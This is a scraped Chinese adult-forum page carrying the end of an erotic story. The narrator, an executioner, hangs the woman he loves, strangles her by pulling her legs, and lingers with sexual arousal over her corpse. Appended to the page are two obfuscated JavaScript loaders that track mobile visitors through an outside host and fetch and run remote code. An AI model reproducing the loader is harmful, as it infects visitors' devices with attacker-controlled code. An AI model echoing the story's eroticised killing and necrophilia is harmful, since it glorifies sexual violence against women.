我的心中一阵不解和稍微的恐慌,所以我没有同意安娜的意见。 “死刑执行书已经生效了,你现在只是一个女死囚。已经不受法律保护了。”我对安娜说,她的眼睛闪烁着,那一片湖蓝色的海洋里粼粼发光。 安娜屈从了,她在我的押解下走出了牢房,短袖白衬衣和蓝套裙的组合很经典也很性感,绳子也绑的恰到好处,看着安娜穿着丝袜的纤足蹬着高跟凉鞋走在街上,大有些摩登女郎的派头。 人们观看的很多,凑热闹的倒是很少,在集体沉默之后,安娜已经快成了勇者斗恶龙里的战利品——美丽的公主,而我则是囚禁公主的恶龙,就等英俊潇洒的王子拿着剑来宰我,顺便洗个龙血澡,据说那样可以刀枪不入,可惜齐格弗里德只有一个,而且他还留下一个叶子大小的弱点呢!要是旁人的话,即便是洗一湖泊的龙血澡,弱点可能也会比铁锅还大吧! 两个人都有些沉默,走的也越来越慢,现在看起来越来越像是散步了,如果没有旁观者的话。 “走慢点大概还要走一刻钟吧。”我主动说话,安娜没有理我。 “我们聊些别的?”我继续说,安娜还没有理我。 “关于你的尸体的处理问题……”安娜的身体颤动了一下,我知道她在听着。

“我用我的奖金买了一些很贵的树脂,和松香在一起用,我觉得可以完美的保存几年,几年后我应该能够有了钱,那个时候给你做些更好的保存。” “你把我当娃娃么?”安娜说完就不再理我了。 好吧,我自作主张。 路不远,很快就走到了,刚才我觉得安娜很平静,也很佩服她的临死不惧,可是此时看到高高的绞刑台和打有绞刑结的绳圈,安娜的小腿就有些发抖了,我扶着她,她的脸色微微发白了点,我觉得她此时更美了。果然是我最爱的人哪!我偷偷的捏了捏她的屁股,她吃了一惊,转头看向我,给了我一个白眼,这真像是一个小女人的撒娇,而爱着她的我也快要被幸福压垮了! 可能是因为我的捣乱吧,安娜一时忘却了紧张和恐惧,正如她穿的跟一个公主一样,此时她优雅的像一个模特一样走路,高跟凉鞋的鞋跟在地面上得得得的轻响,我陶醉着,在她的后面跟着仿佛是个忠实的走狗,直到她走到绞刑台的阶梯处,我才转换角色,让她停下来。 “干什么,不是要上去么?你不是一直想要处死我么?”安娜的眼里我看到了一些戏谑,她的讽刺让我全身发热。 我是个变态的人,我没忘掉。 “安娜,你知道我不想的。”我试图给自己找些说辞。 “假使你想杀我,就杀,反正你也知道杀死娜塔丽的凶手另有其人。”安娜冷笑着说,她抬起了脚,想登上楼梯,却被我一把抓住。 “现在要绑你的脚了。”我几乎被安娜失身后产生的激烈情绪所左右,可是箭在弦上,不得不发了。 安娜的脚踝很流畅,正如她的大腿和小腿一般,她是个天生的舞蹈家,生的就比别人的要美。众目睽睽,我没法再像在她的囚室一样和她调情,这个在我还在学校的时候就暗恋的情人,在身材和面貌上都有深厚的本钱。 我装作比绳子,右手却在仔细的摸着安娜的脚踝,上面覆盖的丝袜很薄,指尖在上面甚至可以感觉到皮肤和脚骨的触感,真是天生之美!我在心中叹了口气,将绳子绕在上面,比绑安娜手腕的时候更加用力,我可以听见安娜轻唿一声,我知道她应该很疼。 好吧,我的爱!一会儿你就不会觉得疼痛了! 我的脖子上凉了一下,抬头看去,原来是安娜的眼泪已经顺着脸蛋流到了脖子上,更有的直接滴在我的身上。一个女人在哭的时候是脆弱的,哪怕她没有理由的哭,在别人面前都会矮人一等,当安娜发觉我在看她的时候,就慌忙想要去抹眼泪,却没有想到自己的手早已被束缚了起来,尴尬的厉害。我心中一直积蓄的郁闷倒是似乎少了一些,我在口袋里翻找了一会,找到了一包面巾纸,抽出几张出来在她的脸上乱擦,我难得的看见她被我手忙脚乱的动作逗的破啼而笑了,她此时不像是即将要被处决的女死囚,倒像是一个很讨人喜欢的邻家小妹。

可惜这个温馨的时刻无法再继续下去了,绞架周围有法院的人不耐烦的催促,我也只好押着安娜上楼梯。安娜的双脚之间留下的空隙很小,这令她在上楼梯的时候更像淑女,一小步、一小步,真是美丽而不可方物。 我自觉的没有对安娜提“一切都结束了”之类的话题,绞刑台并不高,两个人很快就到了台上,这个绞刑台我花了三天的时间来维护修复,包括踏板扳手我都换了螺丝,小心翼翼的上了油,可以说如无意外万无一失。这儿是二十一世纪的德国,而不是十九世纪的墨西哥,自然也不会有像佐罗那样的英雄人物骑白马跨双枪,一枪打断绞绳救下美丽的女主角,再一枪在我这个大坏蛋的头上开个大洞,英雄美人,好不快哉! “我是个不称职的刽子手。”我再次的手忙脚乱了,绞刑结打的是活结以便调整长度,可是不知道怎么回事,我把它弄成了死结,对于一个有着刽子手职称的职业刽子手,这样的错误几乎是不可原谅的! 安娜在一旁笑的开心,却不知道是对我的嘲笑还是被我滑稽百出的动作逗笑的。 “等一会,等一会就可以收拾掉你了,安娜。”我汗流浃背的继续对一根绳子奋斗。 安娜似乎很喜闻乐见我的窘态,她在此时才显现出自己的另一面。 “真笨,如果我是你,我早就被你吊死啦……哎呀……什么我你的……”

安娜在我的面前刚露过窘,我也在她面前来了一次,两人扯平了…… 或许,安娜的主意是个好主意呢!法院的人已经开始不满了,他们是来核实安娜的死刑执行的,如果死刑继续拖下去,第一个浪费的就是他们的时间。

我做出了个大胆的决定。 我去解安娜手腕上的绑绳,我解这样的绳子还是很有心得的,弄松之后,拉一下就开了。 我把绞绳递给安娜:“这下你可要挖坑埋自己了。” 安娜眨了眨眼,笑的却很俏皮:“我才不会帮你。”她似乎在我面前出丑之后,对我的做法就十分的在意,我的菜鸟手段给了她很多取笑的空间,我突然觉得,她似乎在掩饰自己的情绪,我对弗洛伊德的理论略有涉猎,在这样极端的环境里精神分裂……我真的很担心……她的长发被风吹乱了点,我在上面拂了一下,却发现手背湿了些,她的汗?她很紧张,我肯定,我也为她感到不安,她在故作轻松吗?我的心绪大乱了! 安娜仿佛在发泄着怨气,手里结绳子干净利落,几圈绕下来,一个漂亮的绞刑结就完成了。 她现在的状态让我感到不妙了,她越是表现出前所未有的活泼,我越觉得不太正常,她受到的打击一定太大,这样一个女孩,我真的忍心处死她么? “要我自己套在脖子上么?”安娜手里拿着绳圈,有些俏皮的比了比自己的脖子,我此时却也已经被心目中的仙女赴难惊呆了,却怎么能放过眼前的景象?

我掏出手机,快速的拍了几张照片,然后给她做了个手势,让她自便。

她将绳套很轻易的套在自己漂亮的颈项上,如同一条同样漂亮的项链。绳套是用粗麻搓成的,十分的结实,我发觉她脸上有种赴死悲壮的感觉,那也有可能是麻绳上的倒刺扎痛了她那娇嫩的皮肤吧?我之前因为没有找到机会和理由,对她的体重并不知情,可是我相信她会给自己准备好的,也许我真的没有当刽子手的天赋,面对心目中的情人,我宁愿在脑子里错开她被处决的事实,哪怕在假设……除非让我亲自看到这个景象…… 安娜沉静了一会,才深深吸了口气,她将绳套上方的绞刑结向下收紧,这下,这条特别的项链扣的紧紧的,她变成了一个真正的女死囚。我看着她那苦笑的表情,心中在想,恐怕安娜自己此时也会很郁闷的吧?就是被处决,绞刑结要自己打,绳圈要自己套,难道一会死刑扳手还要自己扳?刽子手不行刑,让女死囚自己处决自己?真是有创意,赞一个。 再这样下去就太不像话了,在安娜真的准备那样做之前,我叫了停。 “我要把你的手再绑上。”安娜戴有半透明蕾丝手套的手很漂亮,我总不能让她用这双手去自杀。 绑手腕很有感觉,我看到近在咫尺的安娜,她的红唇就停在那儿,我真的想再亲一下。可现在的场合不对,我不敢。 问题好像都解决了,安娜小步轻轻的走到了翻板上,她的大腿浑圆结实,她的小腿流线修长,丝袜朦朦胧胧的上通裙底,渐而消失在裙子柔和的边角里,高跟凉鞋在有些摇摇欲坠感觉的翻板上似乎也要断掉,安娜深深的吸气,她此时的样子才像是个杀人犯。这样一个绝色,我的心里突然出现了些悠悠惜怜的感觉……但是,光明的瞬间只是一瞬罢了,所有的闹剧只有一个结果,哪怕过程是完美的,是缺陷的,是无力的,是幽默的,无论我以前多爱安娜,娜塔丽多爱我……

我又拍了几张照片,记录下了安娜最后的几个经典的表情,我注意到她似乎不像是一开始那么沮丧了,那是什么动力啊? 我终究还是扳下了死刑扳手,两块翻板轰然落下,一声刺耳的尖叫声响了起来。 我真没想到安娜也会惧怕死亡,我看她刚才的表现,一直以为她是个勇敢的女人…… 安娜下坠的感觉,跟一个沙包似的,重而缓,先不见的是她那双穿着绑带高跟凉鞋的美脚,然后就是穿着薄丝袜,非常刺激性欲的小腿……令人头脑充血的大腿……柔如蛇身的纤腰…… 绳子被拉紧了,没有骨头断折的声音,也没有呻吟声,仿佛在此时,一切都寂静无声了。 安娜应该还活着,她或许需要我的帮助…… 我快速的跑到台下,那儿安娜被绑住的双腿还在相互的摩擦着,安娜还是那么的漂亮,的脸色有些发红,我知道她窒息了。 我抓住了她的两条美腿,那完美的触感让我的心里一阵激荡,这个被我强行剥夺贞操的少女,她是多么吸引人的一个尤物啊! 抬头就可以看到那两块被付与使命的翻板,倒是在空中摇摇摆摆好不悠闲,安娜被我抓住腿的同时本能拼命的想摆脱我的手,却被我抓的紧紧的,用力向下拉,安娜的挣扎也随之越来越小了…… 我遭遇了最激烈的反击,我甚至被踢到在地…… 但是我知道,我的第一次任务,已经完成了。 娜塔丽当时自杀的计划到底使用了多少手段使有关方面深信不疑,我不清楚,但是我爱的人死在我的手下,却是亲眼就能看到的。安娜已经死了,她刚才最激烈的那次反击,恰好是她脑死亡,对身体彻底失去约束力的时刻,剧烈的跟鲸鱼一样,然后就如同水母一样四处散开,再毫无动静。 我想,今天或许是个宝贵的经验,下次我不再不会打绞刑结,也不再不会和犯人保持着亲密关系,否则,今天的心痛或许将持续到明天。 我在等待了十分钟之后才打算将安娜放了下来,我扳开在绞刑台下方系有绞绳的钩子,绞绳跟断头的水蛇一样轻轻巧巧的松开……落下……她的身体随着绞绳的解放向下落,跟奈良的樱花一样……飘落的很优雅……很贵气…… 我在底下接住了她。可能是风吹的太急,安娜的身体虽尚有余温,但已经有些发凉的迹象了,我摸了摸她的美颈,上面有她的涎液,她的乳房坚挺美观,臀部挺拔诱人……我偷偷的摸了摸她的裙底,安娜这个小女人……她绝对失禁了。

我解开了安娜脖子上的绳套,从她的锁骨向上看去,她的颈项还是那么的性感可人,她生前是个很乖巧的女孩子,连她死的时候都没有给我带来任何麻烦。

绳套在她的喉咙上方紧紧的勒着,在绳套的下方脖子上,我看见了一道浅浅的勒痕,安娜没有苛待自己,她的形象很完美,如果是笨手笨脚的我,打出来的绞刑结一定会让安娜很痛苦——死后也会因为脖子被破坏的乱七八糟而失去魅力。我感谢她的善解人意,也感谢她能最后记住我这个要她性命的人,看着她如同解脱一般的神情和与生前一样粉雕玉琢般的面容,我想到了安娜生前的音容笑貌。不知怎么回事,我竟然觉得,她现在在我面前的样子更刺激我的性欲。 我身上很热,所以不得不忍住不再继续看她颈项以上的样子了。顺着安娜的胸脯看下去,我发现她的蕾丝衬衣因为挣扎的关系已经卷了起来,露出那可爱的小肚脐,肚脐呈椭圆形,漂亮无比。我强忍着自己的冲动,装作不注意这露骨的诱惑,伸手掐住了边缘绣着的蕾丝,拉下了她那略显凌乱的衬衣,将她的小肚皮盖了起来。 我吞咽了自己的口水,嘴里有些发干,穿在她腿上的丝袜和脚上的高跟凉鞋,给我带来的冲击比刚才不知要大多少倍,本来安娜的腿足就有着柔和的曲线,在丝袜的衬托和高跟凉鞋的点缀下,她更美了!她那失去知觉的身体似乎比生前更懂得如何去取悦我,我差一点就失去理智,幸好我灵台还有一点点清明,我在此时,拼命的用愧疚和哀悼将心中占据的冲动和爱恋暂时冲掉。 扛起了她那仍然美妙无比的尸体,我需要把她运走……此时……我的手又滑到她的跨下了,那儿的液体凉凉的,我隐隐约约闻到了一股甜甜的腥味,我更需要压制住自己的欲望了…… 我很高兴在来到德国之后的第一天就认识了她,而在我即将离开的时刻,她用她自己给了我送行礼物。 当然……还有娜塔丽…… 现在我要去买树脂,我用我自己的存款订了货,等这次的酬劳到帐之后,还要把钱还掉。 我爱你!安娜!我曾经爱你甚过于爱我自己! 我感受着她娇躯里留下的一点点体温和芳香,在目光下越走越远,身后留下了长长的影子,折射、弯曲、消失…… 安娜,我要保存你一生一世,你听见了么? (全文完)[ 本帖最后由 吾夜 于 编辑 ]本帖最近评分记录

黎明前的黑暗 金币 8 感谢您给众淫带来精品


上一篇:【承诺与背叛】(05)【

下一篇:教师小姨


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};